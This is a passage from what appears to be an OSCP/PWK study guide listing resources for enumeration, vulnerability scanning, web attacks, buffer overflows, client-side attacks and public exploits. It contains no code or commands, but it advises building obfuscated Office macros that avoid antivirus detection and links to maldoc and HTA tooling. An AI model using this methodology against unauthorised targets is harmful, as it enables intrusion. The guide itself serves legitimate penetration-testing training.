&lt;p&gt;If you think you have a good understanding of what DNS is then you will also need to understand how to perform forward and reverse lookups. In addition, you should also know how zone transfers work and how to perform them. Performing these tests will certainly help you better understand what your targets are in the lab. For more information about these techniques check out this article here: 
&lt;a href=&quot;https://resources.infosecinstitute.com/dns-enumeration-techniques-in-linux/&quot;&gt;https://resources.infosecinstitute.com/dns-enumeration-techniques-in-linux/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tools for DNS Enumeration:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Dnsrecon Created by Darkoperator: &lt;a href=&quot;https://github.com/darkoperator/dnsrecon&quot;&gt;https://github.com/darkoperator/dnsrecon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;network-scanning&quot;&gt;Network Scanning:&lt;/h3&gt;

&lt;p&gt;Nmap: 
A tool that you should 100% totally learn about. You will probably use this everyday (If not most of the time while you are in the lab). I highly recommend you take some time to learn what the tool does, how each command switch works, each scanning technique you can run, and any other capabilities. 
Nmap is a powerful tool that has the ability to determine what hosts are online, what services they are running, what operating system is running on that host, and dozens of characteristics.  In addition, one of the most powerful features that you should also learn is the Nmap Scripting Engine (NSE). With NSE scripts you have the ability automate a wide variety of networking tasks for your scans including vulnerability detection and exploitation. 
 Here are my resources that I used to learn more about Nmap:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Nmap Official Guide: I used this more than the man pages. I highly recommend purchasing the full book since the official guide is missing a few chapters, such as “Detecting and Subverting Firewalls and Intrusion Detection Systems”, “Optimizing Nmap Performance”, “Port Scanning Techniques and Algorithms”, “Host Discovery (Ping Scanning)”, and more. &lt;a href=&quot;https://nmap.org/book/toc.html&quot;&gt;https://nmap.org/book/toc.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Link for Nmap Network Scanning Book (if you want to purchase it): &lt;a href=&quot;https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717&quot;&gt;https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Nmap Scripting Engine (NSE): &lt;a href=&quot;https://nmap.org/book/man-nse.html&quot;&gt;https://nmap.org/book/man-nse.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;ZephrFish’s Nmap Blog: &lt;a href=&quot;https://blog.zsec.uk/nmap-rtfm/&quot;&gt;https://blog.zsec.uk/nmap-rtfm/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Masscan: A powerful tool that can be used to scan a set of requested ports against your targets. As Robert Graham says “this can be done in less than 6 minutes at around 10 million packets per second”.&lt;/p&gt;

&lt;p&gt;Daniel Miessler guide to using Masscan: &lt;a href=&quot;https://danielmiessler.com/study/masscan/&quot;&gt;https://danielmiessler.com/study/masscan/&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration:&lt;/h3&gt;
&lt;p&gt;There are a variety of services running on so many systems…take the time to understand them! Do not just scan them and move on. Take some time to look at each of them because they could be a key for you to obtain shell access on a system!&lt;/p&gt;

&lt;p&gt;Abatchy provided a link from 0day security that gave me a lot of ideas and things to look for that I may have missed when I skipped some the of the services in the lab. The original link is dead but you can find copies of it on the wayback machine:
&lt;a href=&quot;https://web.archive.org/web/20200309204648/http://0daysecurity.com/penetration-testing/enumeration.html&quot;&gt;https://web.archive.org/web/20200309204648/http://0daysecurity.com/penetration-testing/enumeration.html&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;section-8-vulnerability-scanning&quot;&gt;Section 8: Vulnerability Scanning&lt;/h1&gt;
&lt;p&gt;I did not spend too much time in this section for preparation because vulnerability scanners are simple and easy to configure. In addition, the purpose of a vulnerability scanner is to identify security holes in services or in a operating system. These scanners rely on a database that contains the necessary information needed to conduct a scan. 
A word of caution! Be careful when you use vulnerability scanners on your targets because there is a chance that some of the plugins or features can cause an impact to your target such as taking down that service, locking out user accounts, and even crash the system.&lt;/p&gt;

&lt;p&gt;The update replaces OpenVAS and students will learn how to use use Nessus. Nessus is more stable on Kali Linux and it has a simple straightforward interface. I also was able to use the Nessus Essential key for most of my testing and to help me get familiar with how these vulnerability scanners work.  Nessus is a real popular tool for vulnerability scanning in the infosec world and I certainly encourage you to play with it!&lt;/p&gt;

&lt;p&gt;For instructions on how to install Nessus on Kali Linux you can find it here: 
&lt;a href=&quot;https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux&quot;&gt;https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For obtaining a Nessus key you can grab one here: 
&lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-essentials&quot;&gt;https://www.tenable.com/products/nessus/nessus-essentials&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;section-9-web-application-attacks&quot;&gt;Section 9: Web Application Attacks&lt;/h1&gt;

&lt;p&gt;I went back to this section and I really enjoyed how OffSec took the time to go more in-depth on how you should build your web assessment methodology. After all web apps are starting to become more popular to see on pentests.&lt;/p&gt;

&lt;p&gt;As a pentester you need to gather information about the web application. For instance you should ask yourself these questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What is the purpose of the application?&lt;/li&gt;
  &lt;li&gt;What language is the web application written in?&lt;/li&gt;
  &lt;li&gt;What version is the web application running?&lt;/li&gt;
  &lt;li&gt;How is the web application being hosted?&lt;/li&gt;
  &lt;li&gt;Does the web application connect to a database? If yes; what is software the database is using and what version is it?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Identifying the components of the web application will allow you to proceed to the next phase by enumerating the components/issues you identified instead of running an exploit blindly against the web application. 
As always enumeration is something that pentesters must continue to do when reviewing all possible attack avenues that could compromise the web application.&lt;/p&gt;

&lt;p&gt;Things to check for when you are enumerating a web application:&lt;/p&gt;

&lt;p&gt;Reviewing URLs:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;File Extensions&lt;/li&gt;
  &lt;li&gt;routes&lt;/li&gt;
  &lt;li&gt;hidden web directories (sitemaps like robot.txt or sitemap.xml)&lt;/li&gt;
  &lt;li&gt;non-standard ports&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reviewing the content of the web page:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Always review the source code of the web page!&lt;/li&gt;
  &lt;li&gt;Inspect every element to see how the web app works&lt;/li&gt;
  &lt;li&gt;Review the request and response headers to understand how the web application behaves when you make certain actions to it.&lt;/li&gt;
  &lt;li&gt;Check for admin consoles (Ex: Wordpress applications will have a directory /admin that can be used to access the Wordpress Admin Console)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;tools-for-finding-web-vulnerabilities-and-conducting-web-attacks&quot;&gt;Tools for finding Web Vulnerabilities and conducting Web Attacks:&lt;/h4&gt;

&lt;h5 id=&quot;web-directory-scanners&quot;&gt;Web Directory Scanners:&lt;/h5&gt;

&lt;p&gt;These tools are designed to brute force site structure including directories and files in websites. These tools can be able to identify hidden directory structures or webpages that can come in handy when you are in the labs or during your assessment. Each tool listed has there own set of advantages/disadvantages depending on what you are trying to use them for.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;DIRB: &lt;a href=&quot;http://dirb.sourceforge.net/&quot;&gt;http://dirb.sourceforge.net/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Dirsearch: &lt;a href=&quot;https://github.com/maurosoria/dirsearch&quot;&gt;https://github.com/maurosoria/dirsearch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Dirbuster: &lt;a href=&quot;https://tools.kali.org/web-applications/dirbuster&quot;&gt;https://tools.kali.org/web-applications/dirbuster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Gobuster: &lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;https://github.com/OJ/gobuster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Wfuzz: &lt;a href=&quot;https://github.com/xmendez/wfuzz&quot;&gt;https://github.com/xmendez/wfuzz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;ffuf: &lt;a href=&quot;https://github.com/ffuf/ffuf&quot;&gt;https://github.com/ffuf/ffuf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;burpsuite&quot;&gt;BurpSuite:&lt;/h5&gt;

&lt;p&gt;A popular web application vulnerability scanner that contains a variety of features and plugins to identify web vulnerabilities on certain web applications. The tool uses an interception proxy that connects to your browser to route traffic through the Burp Suite proxy client. Once the interception proxy is configured you can start capturing and analyzing each request to and from the target web application. With theses’ captured requests a penetration tester can analyze, manipulate, and fuzz individual HTTP requests in order to identify potential parameters or injection points manually.&lt;/p&gt;

&lt;p&gt;BurpSuite Resources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Burp Training from Securee Ideas: &lt;a href=&quot;https://www.youtube.com/playlist?list=PLqG-wtrX3aA_wYTrnDHoCBkKBoI4z9oLd&quot;&gt;https://www.youtube.com/playlist?list=PLqG-wtrX3aA_wYTrnDHoCBkKBoI4z9oLd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bugcrowd University has a webinar that Jason Haddix created explaining about burp suite and how you can use it. You can find this recording here: &lt;a href=&quot;https://www.bugcrowd.com/resource/introduction-to-burp-suite/&quot;&gt;https://www.bugcrowd.com/resource/introduction-to-burp-suite/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;nikto-created-by-chris-sullo--tautology0&quot;&gt;Nikto (Created by Chris Sullo &amp;amp; tautology0):&lt;/h5&gt;

&lt;p&gt;A web server scanner which performs comprehensive tests against web servers for multiple items. This tool can be able to scan for vulnerabilities on the web application, checks for server configuration that include multiple index files, HTTP server options, and will attempt to identify installed the version of the web server, and any plugins/software that is running on it. Please keep this in mind that this tool is can be very noisy when scanning a targets web server.&lt;/p&gt;

&lt;p&gt;Link: &lt;a href=&quot;https://cirt.net/Nikto2&quot;&gt;https://cirt.net/Nikto2&lt;/a&gt;&lt;/p&gt;

&lt;h5 id=&quot;httpie-httpshttpieio&quot;&gt;HTTPIe &lt;a href=&quot;https://httpie.io/&quot;&gt;https://httpie.io/&lt;/a&gt;:&lt;/h5&gt;

&lt;p&gt;A tool that  is designed for testing, debugging, and generally interacting with APIs &amp;amp; HTTP servers. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http&lt;/code&gt; &amp;amp; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https&lt;/code&gt; commands allow for creating and sending arbitrary HTTP requests.&lt;/p&gt;

&lt;h5 id=&quot;exploiting-common-web-based-vulnerabilities&quot;&gt;Exploiting common Web-based Vulnerabilities:&lt;/h5&gt;

&lt;h5 id=&quot;exploiting-admin-consoles&quot;&gt;Exploiting Admin Consoles:&lt;/h5&gt;

&lt;p&gt;When an administrative login panel is left exposed it can make it significantly easier for attackers to compromise that site, depending on the security and permissions that web developer/application have implemented. 
As pentesters we can execute techniques such as brute forcing, signing in with compromised credentials/obtaining credentials, or in the case of unpatched systems, access by exploiting the administration login page.&lt;/p&gt;

&lt;p&gt;In case you would like to see some examples you can find many of these whitepapers on the Exploit Database: &lt;a href=&quot;https://www.exploit-db.com/search?q=Authentication+Bypass&quot;&gt;https://www.exploit-db.com/search?q=Authentication+Bypass&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Exploit Examples:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;CASAP Automated Enrolment System: &lt;a href=&quot;https://www.exploit-db.com/exploits/49463&quot;&gt;https://www.exploit-db.com/exploits/49463&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Online Hotel Reservation System 1.0 &lt;a href=&quot;https://www.exploit-db.com/exploits/49420&quot;&gt;https://www.exploit-db.com/exploits/49420&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Alumni Management System 1.0 &lt;a href=&quot;https://www.exploit-db.com/exploits/48883&quot;&gt;https://www.exploit-db.com/exploits/48883&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;cross-site scripting (XSS):&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OWASP:&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot;&gt;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Directory Traversal Vulnerabilities:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OWASP: &lt;a href=&quot;https://owasp.org/www-community/attacks/Path_Traversal&quot;&gt;https://owasp.org/www-community/attacks/Path_Traversal&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;File Inclusion Vulnerabilities.
Metaploit Unleashed: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/&lt;/a&gt;
OSWAP Testing for LFI: &lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion&quot;&gt;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SQL Injections: 
OWASP: &lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot;&gt;https://www.owasp.org/index.php/SQL_Injection&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pentest Monkey SQL Cheat Sheets: &lt;a href=&quot;http://pentestmonkey.net/category/cheat-sheet/sql-injection&quot;&gt;http://pentestmonkey.net/category/cheat-sheet/sql-injection&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;SQL Injection Tools: 
I would not recommend using these tools until you have a clear understanding about SQL Databases and how a SQL Injection works. These tools below make it easy to automate the process for conducting a SQL Injection but it is possible that they can causes issues to a targets SQL Database. Here are a list of tools that I have played with to get a better understanding of how you can automate SQL Injections:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SQLmap: &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap/wiki/Usage&quot;&gt;https://github.com/sqlmapproject/sqlmap/wiki/Usag&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;NoSQLMap: &lt;a href=&quot;https://github.com/codingo/NoSQLMap&quot;&gt;https://github.com/codingo/NoSQLMap&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;hands-on-areas-to-improve-your-web-attack-skills&quot;&gt;Hands on areas to improve your web attack skills:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Metasploitable 2: Contains Vulnerable Web Services such as &lt;a href=&quot;https://github.com/webpwnized/mutillidae&quot;&gt;Multidae&lt;/a&gt; and the &lt;a href=&quot;http://www.dvwa.co.uk/&quot;&gt;Damn Vulnerable Web App (DVWA)&lt;/a&gt; that you can use to improve your web skills.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Link to download the machine: &lt;a href=&quot;https://metasploit.help.rapid7.com/docs/metasploitable-2&quot;&gt;https://metasploit.help.rapid7.com/docs/metasploitable-2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Backup Link: &lt;a href=&quot;https://www.vulnhub.com/entry/metasploitable-2,29/&quot;&gt;https://www.vulnhub.com/entry/metasploitable-2,29/&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Exploitability Guide: &lt;a href=&quot;https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide&quot;&gt;https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;OWASP Juice Shop: Another vulnerable web application that contains a variety of challenges to improve your web skills. 
&lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Juice_Shop_Project&quot;&gt;https://www.owasp.org/index.php/OWASP_Juice_Shop_Project&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Overthewire Natas: A set of wargame challenges that are web base that you will need to complete in order to move to the next round. I really enjoyed their challenges when I did them! 
&lt;a href=&quot;http://overthewire.org/wargames/natas/&quot;&gt;http://overthewire.org/wargames/natas/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Web Security Academy: Authors of the Web Application Handbook. This site contains a variety of practical challenges on Web App Attacks:
&lt;a href=&quot;https://portswigger.net/web-security&quot;&gt;https://portswigger.net/web-security&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Other resources: 
Hack This Site: &lt;a href=&quot;https://www.hackthissite.org/&quot;&gt;https://www.hackthissite.org/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-10-buffer-overflows-for-windows-and-linux&quot;&gt;Section 10: Buffer Overflows for Windows and Linux&lt;/h1&gt;

&lt;p&gt;My favorite section to learn about! The material provided in the PWK was fantastic and really straightforward. Throughout the internet you will probably find a variety of different resources to help you understand how buffer overflows work. With that being said I will provide some of my notes and resources that helped me understand how buffer overflows.&lt;/p&gt;

&lt;p&gt;Corelan Team:  A huge shout out to these guys because their articles from information security to exploit development are absolutely incredible!
They have an article they posted about Stack Based Overflows that gave me a better understanding of identifying a buffer overflow in an application:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Part 1: 
&lt;a href=&quot;https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/&quot;&gt;https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Part 2: 
&lt;a href=&quot;https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/&quot;&gt;https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once I finished reading the articles I decided to start going through write-ups and forums where people manually identified buffer overflows in certain applications. With these walkthroughs I used Exploit-DB to check if they had the vulnerable application in many cases. I won’t provide any of these walkthroughs but I will at least provide the binaries that you can use to manually identify buffer overflows.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Windows Binaries (Recommend that you run these on Windows 7/XP 32 bit):&lt;/li&gt;
  &lt;li&gt;Vulnserver: &lt;a href=&quot;https://samsclass.info/127/proj/vuln-server.htm&quot;&gt;https://samsclass.info/127/proj/vuln-server.htm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Minishare 1.4.1: &lt;a href=&quot;https://www.exploit-db.com/exploits/636&quot;&gt;https://www.exploit-db.com/exploits/636&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Savant Web Server 3.1: &lt;a href=&quot;https://www.exploit-db.com/exploits/10434&quot;&gt;https://www.exploit-db.com/exploits/10434&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Freefloat FTP Server 1.0: &lt;a href=&quot;https://www.exploit-db.com/exploits/40673&quot;&gt;https://www.exploit-db.com/exploits/40673&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Core FTP Server 1.2: &lt;a href=&quot;https://www.exploit-db.com/exploits/39480&quot;&gt;https://www.exploit-db.com/exploits/39480&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;WarFTP 1.65: &lt;a href=&quot;https://www.exploit-db.com/exploits/3570&quot;&gt;https://www.exploit-db.com/exploits/3570&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;VUPlayer 2.4.9: &lt;a href=&quot;https://www.exploit-db.com/exploits/40018&quot;&gt;https://www.exploit-db.com/exploits/40018&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Linux Binaries:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Linux Buffer Overflow: &lt;a href=&quot;https://samsclass.info/127/proj/lbuf1.htm&quot;&gt;https://samsclass.info/127/proj/lbuf1.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vulnerable Boxes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Brainpan 1:  &lt;a href=&quot;https://www.vulnhub.com/entry/brainpan-1,51/&quot;&gt;https://www.vulnhub.com/entry/brainpan-1,51/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Pinky’s Palace version 1: &lt;a href=&quot;https://www.vulnhub.com/entry/pinkys-palace-v1,225/&quot;&gt;https://www.vulnhub.com/entry/pinkys-palace-v1,225/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Stack Overflows for Beginners: &lt;a href=&quot;https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/&quot;&gt;https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SmashTheTux: &lt;a href=&quot;https://www.vulnhub.com/entry/smashthetux-101,138/&quot;&gt;https://www.vulnhub.com/entry/smashthetux-101,138/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Pandora’s Box: &lt;a href=&quot;https://www.vulnhub.com/entry/pandoras-box-1,111/&quot;&gt;https://www.vulnhub.com/entry/pandoras-box-1,111/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Resources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Whitepaper Introduction to Immunity Debugger: &lt;a href=&quot;https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982&quot;&gt;https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Do Stack Buffer Overflow Good: &lt;a href=&quot;https://github.com/justinsteven/dostackbufferoverflowgood&quot;&gt;https://github.com/justinsteven/dostackbufferoverflowgood&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Buffer Overflows for Dummies: &lt;a href=&quot;https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481&quot;&gt;https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Vortex Stack Buffer Overflow Practice: &lt;a href=&quot;https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/&quot;&gt;https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Smashing the Stack For Fun and Profit: &lt;a href=&quot;http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf&quot;&gt;http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Buffer Overflow Guide: &lt;a href=&quot;https://github.com/johnjhacking/Buffer-Overflow-Guide&quot;&gt;https://github.com/johnjhacking/Buffer-Overflow-Guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Stack based Linux Buffer Overflow: &lt;a href=&quot;https://www.exploit-db.com/docs/english/28475-linux-stack-based-buffer-overflows.pdf&quot;&gt;https://www.exploit-db.com/docs/english/28475-linux-stack-based-buffer-overflows.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-11-client-side-attacks&quot;&gt;Section 11: Client-Side Attacks&lt;/h1&gt;
&lt;p&gt;Running Client-Side Attacks usually require client interaction so it’s good to have an understanding of how this works and also how you can set one up. For instance, check out the Client Side Attack Section in Metasploit Unleashed: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Social Engineering is one of the most common tactic that can be used to execute a proper client side attack. Depending on the tactic you use and the information you have gathered to plan this attack, you will have a better chance of success for the client to click on it. Here are some client side attacks that are commonly used:&lt;/p&gt;

&lt;p&gt;HTML Applications:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Understanding HTA Attacks: &lt;a href=&quot;https://www.trustedsec.com/blog/malicious-htas/&quot;&gt;https://www.trustedsec.com/blog/malicious-htas/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Creating HTA Files with Empire: &lt;a href=&quot;https://dmcxblue.gitbook.io/red-team-notes/initial-acces/spear-phishing-links/tools&quot;&gt;https://dmcxblue.gitbook.io/red-team-notes/initial-acces/spear-phishing-links/tools&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Template for creating your own: &lt;a href=&quot;https://github.com/tjnull/OSCP-Stuff/blob/master/Client-Side-Attacks/Template.HTA&quot;&gt;https://github.com/tjnull/OSCP-Stuff/blob/master/Client-Side-Attacks/Template.HTA&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to use for HTA Attacks:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Demiguise: &lt;a href=&quot;https://github.com/nccgroup/demiguise&quot;&gt;https://github.com/nccgroup/demiguise&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;WeirdHTA: &lt;a href=&quot;https://github.com/felamos/weirdhta&quot;&gt;https://github.com/felamos/weirdhta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SharpShooter: &lt;a href=&quot;https://github.com/mdsecactivebreach/SharpShooter&quot;&gt;https://github.com/mdsecactivebreach/SharpShooter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Microsoft Office Macros (Maldoc):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Malicious Macros: &lt;a href=&quot;https://www.trustedsec.com/blog/malicious-macros-for-script-kiddies/&quot;&gt;https://www.trustedsec.com/blog/malicious-macros-for-script-kiddies/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Creating your own Maldoc: &lt;a href=&quot;https://www.pentestpartners.com/security-blog/how-to-create-poisoned-office-documents-for-your-staff-awareness-training-part-1/&quot;&gt;https://www.pentestpartners.com/security-blog/how-to-create-poisoned-office-documents-for-your-staff-awareness-training-part-1/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Building Obfuscated Macros: &lt;a href=&quot;https://blog.focal-point.com/how-to-build-obfuscated-macros-for-your-next-social-engineering-campaign&quot;&gt;https://blog.focal-point.com/how-to-build-obfuscated-macros-for-your-next-social-engineering-campaign&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to help you build your own Macros:&lt;/p&gt;

&lt;p&gt;I would use these tools to learn how to make your own. Be creative when you are building your own Macros as using tools like this will be flagged by AV&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;MSFVenom Vbscript Injections: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/vbscript-infection-methods/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/vbscript-infection-methods/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Macropack: &lt;a href=&quot;https://github.com/sevagas/macro_pack&quot;&gt;https://github.com/sevagas/macro_pack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;EvilClippy: &lt;a href=&quot;https://github.com/outflanknl/EvilClippy&quot;&gt;https://github.com/outflanknl/EvilClippy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-12-handling-public-exploits&quot;&gt;Section 12: Handling Public Exploits&lt;/h1&gt;

&lt;p&gt;There will come a time that you will need to use a public exploit on your target to see if you can obtain a shell on it. With that exploit you may need to modify shellcode or even parts of the exploit to match with your system to obtain a connection from your target.
A word of advice: Be aware of the exploits you download from the public! Although these exploits can endanger any system they could also endanger yours. Make sure you review the source code and test the exploits in an contained environment before running them on your actual system.&lt;/p&gt;

&lt;p&gt;Before you download a public exploit I would consider you take some time to review the code and understand what the exploit is suppose to actually too. If you do not understand how the code works…do some research!!! I am absolutely positive you can find proof of concepts online and walkthroughs that will explain how the exploit actually works.  Not all exploits are going to work right out of the box you will need to configure them to make sure they can reach back to your attacking system. If you do not review the exploit code or make any modifications, then you are running risk that the exploit will fail, crash your target system/service, or it may allow other users to connect into the system.&lt;/p&gt;

&lt;p&gt;Places to find exploits:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;https://www.exploit-db.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://packetstormsecurity.com/files/tags/exploit/&quot;&gt;https://packetstormsecurity.com/files/tags/exploit/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityfocus.com/&quot;&gt;https://www.securityfocus.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools for finding exploits:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Searchsploit: a command line search tool for Exploit-DB&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Command Examples:&lt;/p&gt;

